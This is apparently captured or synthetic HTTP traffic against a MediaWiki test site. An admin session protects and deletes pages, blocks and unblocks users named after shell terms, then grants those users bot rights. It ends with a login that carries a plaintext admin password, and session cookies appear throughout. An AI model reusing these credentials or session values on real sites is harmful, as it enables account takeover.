{"method": "GET", "target": "/wiki/Special:UserRights/Powershell", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special%3AUserRights&user=Powershell", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=13%401794260945%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/index.php?title=Powershell_notes&action=protect", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=13%401794260945%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/index.php?title=Powershell_notes&action=protect", "headers": ["Host: example.com", "Content-Length: 360", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Powershell_notes&action=protect", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=13%401794260945%23da3afb6e304edc637eb2dcecbe092657"], "body": "title=Powershell+notes&mwProtect-level-edit=sysop&wpProtectExpirySelection-edit=infinite&mwProtect-expiry-edit=&mwProtect-level-move=sysop&wpProtectExpirySelection-move=infinite&mwProtect-expiry-move=&wpProtectReasonSelection=other&mwProtect-reason=Spamming+links+to+powershell+guides&mwProtectWatch=1&wpEditToken=384a82472f675c8d51d5f7ea14bc5a226af23fd1%2B%5C"}
{"method": "GET", "target": "/wiki/Powershell_notes", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Powershell_notes&action=protect", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=14%401794260946%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/index.php?title=Powershell_notes&action=delete", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=14%401794260946%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/index.php?title=Powershell_notes&action=delete", "headers": ["Host: example.com", "Content-Length: 196", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Powershell_notes&action=delete", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=14%401794260946%23da3afb6e304edc637eb2dcecbe092657"], "body": "title=Powershell+notes&wpDeleteReasonList=other&wpReason=Spamming+links+to+powershell+guides&wpWatch=1&wpConfirmB=&wpEditToken=08e40f2e3128222c610cfe2dea904b416af23fd3%2B%5C&wpConfirmationRevId=14"}
{"method": "GET", "target": "/api.php?action=query&format=json&list=allusers&auprefix=Ls%20-la&aulimit=10", "headers": ["Host: example.com", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Referer: http://example.com/wiki/Special:Block", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=15%401794260947%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/wiki/Special:Block", "headers": ["Host: example.com", "Content-Length: 347", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/wiki/Special:Block", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=15%401794260947%23da3afb6e304edc637eb2dcecbe092657"], "body": "title=Special%3ABlock&wpTarget=Ls+-la&wpEditingRestriction=sitewide&wpPageRestrictions=&wpNamespaceRestrictions=&wpCreateAccount=1&wpExpiry=other&wpExpiry-other=1+week&wpReason=other&wpReason-other=Spamming+links+to+ls+-la+guides&wpAutoBlock=1&wpEditToken=5af8bdc9fcc0bb254d92eb67659a644d6af23fd4%2B%5C&redirectparams=&wpPreviousTarget=&wpConfirm="}
{"method": "GET", "target": "/wiki/Special:BlockList?wpTarget=Ls+-la&blockType=&limit=50&wpFormIdentifier=blocklist", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/wiki/Special:BlockList", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=16%401794260949%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/wiki/Special:Unblock", "headers": ["Host: example.com", "Content-Length: 139", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/wiki/Special:Unblock", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=16%401794260949%23da3afb6e304edc637eb2dcecbe092657"], "body": "title=Special%3AUnblock&wpTarget=Ls+-la&wpReason=Spamming+links+to+ls+-la+guides&wpEditToken=9bd8191e47e9f9072a9d2c14f992993a6af23fd6%2B%5C"}
{"method": "GET", "target": "/api.php?action=query&format=json&list=allusers&auprefix=Ls%20-la&aulimit=10&auexcludetemp=1", "headers": ["Host: example.com", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Referer: http://example.com/wiki/Special:UserRights", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=17%401794260951%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special%3AUserRights&user=Ls+-la", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/wiki/Special:UserRights", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=17%401794260951%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/wiki/Special:UserRights", "headers": ["Host: example.com", "Content-Length: 298", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special%3AUserRights&user=Ls+-la", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=17%401794260951%23da3afb6e304edc637eb2dcecbe092657"], "body": "title=Special%3AUserRights&wpGroup-bot=1&wpExpiry-bot=infinite&user-reason=Spamming+links+to+ls+-la+guides&wpEditToken=8e14ef32ae3356daf996af8d9a62cadf6af23fd9%2B%5C&user=Ls+-la&wpEditToken=f252b980c3a50ae3c7d7bc282616ddaf6af23fd9%2B%5C&conflictcheck-originalgroups=&saveusergroups=Save+user+groups"}
{"method": "GET", "target": "/wiki/Special:UserRights/Ls_-la", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special%3AUserRights&user=Ls+-la", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=18%401794260953%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/index.php?title=Ls_-la_notes&action=protect", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=18%401794260953%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/index.php?title=Ls_-la_notes&action=protect", "headers": ["Host: example.com", "Content-Length: 352", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Ls_-la_notes&action=protect", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=18%401794260953%23da3afb6e304edc637eb2dcecbe092657"], "body": "title=Ls+-la+notes&mwProtect-level-edit=sysop&wpProtectExpirySelection-edit=infinite&mwProtect-expiry-edit=&mwProtect-level-move=sysop&wpProtectExpirySelection-move=infinite&mwProtect-expiry-move=&wpProtectReasonSelection=other&mwProtect-reason=Spamming+links+to+ls+-la+guides&mwProtectWatch=1&wpEditToken=5df1e8ea7b750fa5c009e1bece0a87876af23fda%2B%5C"}
{"method": "GET", "target": "/wiki/Ls_-la_notes", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Ls_-la_notes&action=protect", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=19%401794260955%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/index.php?title=Ls_-la_notes&action=delete", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=19%401794260955%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/index.php?title=Ls_-la_notes&action=delete", "headers": ["Host: example.com", "Content-Length: 188", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Ls_-la_notes&action=delete", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=19%401794260955%23da3afb6e304edc637eb2dcecbe092657"], "body": "title=Ls+-la+notes&wpDeleteReasonList=other&wpReason=Spamming+links+to+ls+-la+guides&wpWatch=1&wpConfirmB=&wpEditToken=f42b222ab6666c65ec421df94c07919b6af23fdb%2B%5C&wpConfirmationRevId=15"}
{"method": "GET", "target": "/api.php?action=query&format=json&list=allusers&auprefix=.htaccess&aulimit=10", "headers": ["Host: example.com", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Referer: http://example.com/wiki/Special:Block", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=20%401794260956%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/wiki/Special:Block", "headers": ["Host: example.com", "Content-Length: 353", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/wiki/Special:Block", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=20%401794260956%23da3afb6e304edc637eb2dcecbe092657"], "body": "title=Special%3ABlock&wpTarget=.htaccess&wpEditingRestriction=sitewide&wpPageRestrictions=&wpNamespaceRestrictions=&wpCreateAccount=1&wpExpiry=other&wpExpiry-other=1+week&wpReason=other&wpReason-other=Spamming+links+to+.htaccess+guides&wpAutoBlock=1&wpEditToken=2e833a727b3772a4ce387c46ded9ee8e6af23fdd%2B%5C&redirectparams=&wpPreviousTarget=&wpConfirm="}
{"method": "GET", "target": "/wiki/Special:BlockList?wpTarget=.htaccess&blockType=&limit=50&wpFormIdentifier=blocklist", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/wiki/Special:BlockList", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=21%401794260957%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/wiki/Special:Unblock", "headers": ["Host: example.com", "Content-Length: 145", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/wiki/Special:Unblock", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=21%401794260957%23da3afb6e304edc637eb2dcecbe092657"], "body": "title=Special%3AUnblock&wpTarget=.htaccess&wpReason=Spamming+links+to+.htaccess+guides&wpEditToken=dec595333bbf3e8ddcdfef8055d2406f6af23fdf%2B%5C"}
{"method": "GET", "target": "/api.php?action=query&format=json&list=allusers&auprefix=.htaccess&aulimit=10&auexcludetemp=1", "headers": ["Host: example.com", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Referer: http://example.com/wiki/Special:UserRights", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=22%401794260960%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special%3AUserRights&user=.htaccess", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/wiki/Special:UserRights", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=22%401794260960%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/wiki/Special:UserRights", "headers": ["Host: example.com", "Content-Length: 304", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special%3AUserRights&user=.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=22%401794260960%23da3afb6e304edc637eb2dcecbe092657"], "body": "title=Special%3AUserRights&wpGroup-bot=1&wpExpiry-bot=infinite&user-reason=Spamming+links+to+.htaccess+guides&wpEditToken=afb049b409958f639472fc42566429756af23fe1%2B%5C&user=.htaccess&wpEditToken=18bd2feffb19ff0865f684c5d9f46c836af23fe1%2B%5C&conflictcheck-originalgroups=&saveusergroups=Save+user+groups"}
{"method": "GET", "target": "/wiki/Special:UserRights/.htaccess", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special%3AUserRights&user=.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=23%401794260962%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/index.php?title=.htaccess_notes&action=protect", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=23%401794260962%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/index.php?title=.htaccess_notes&action=protect", "headers": ["Host: example.com", "Content-Length: 358", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=.htaccess_notes&action=protect", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=23%401794260962%23da3afb6e304edc637eb2dcecbe092657"], "body": "title=.htaccess+notes&mwProtect-level-edit=sysop&wpProtectExpirySelection-edit=infinite&mwProtect-expiry-edit=&mwProtect-level-move=sysop&wpProtectExpirySelection-move=infinite&mwProtect-expiry-move=&wpProtectReasonSelection=other&mwProtect-reason=Spamming+links+to+.htaccess+guides&mwProtectWatch=1&wpEditToken=11734c231997c060e2bf43081922d45b6af23fe3%2B%5C"}
{"method": "GET", "target": "/wiki/.htaccess_notes", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=.htaccess_notes&action=protect", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=24%401794260963%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/index.php?title=.htaccess_notes&action=delete", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=24%401794260963%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/index.php?title=.htaccess_notes&action=delete", "headers": ["Host: example.com", "Content-Length: 194", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=.htaccess_notes&action=delete", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=24%401794260963%23da3afb6e304edc637eb2dcecbe092657"], "body": "title=.htaccess+notes&wpDeleteReasonList=other&wpReason=Spamming+links+to+.htaccess+guides&wpWatch=1&wpConfirmB=&wpEditToken=caf53f975b381767d24c26081b2ab3f36af23fe4%2B%5C&wpConfirmationRevId=16"}
{"method": "GET", "target": "/api.php?action=query&meta=tokens&type=login&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 137", "Host: example.com", "Cookie: my_wiki_session=savug0rd3s67h42asltdjo4efv05i7nt", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=login&lgname=Admin&lgpassword=Example-pass-2026&lgtoken=3cb681d76d891f525ae693f8cdd16cc06af23fe5%2B%5C&format=json&formatversion=2"}
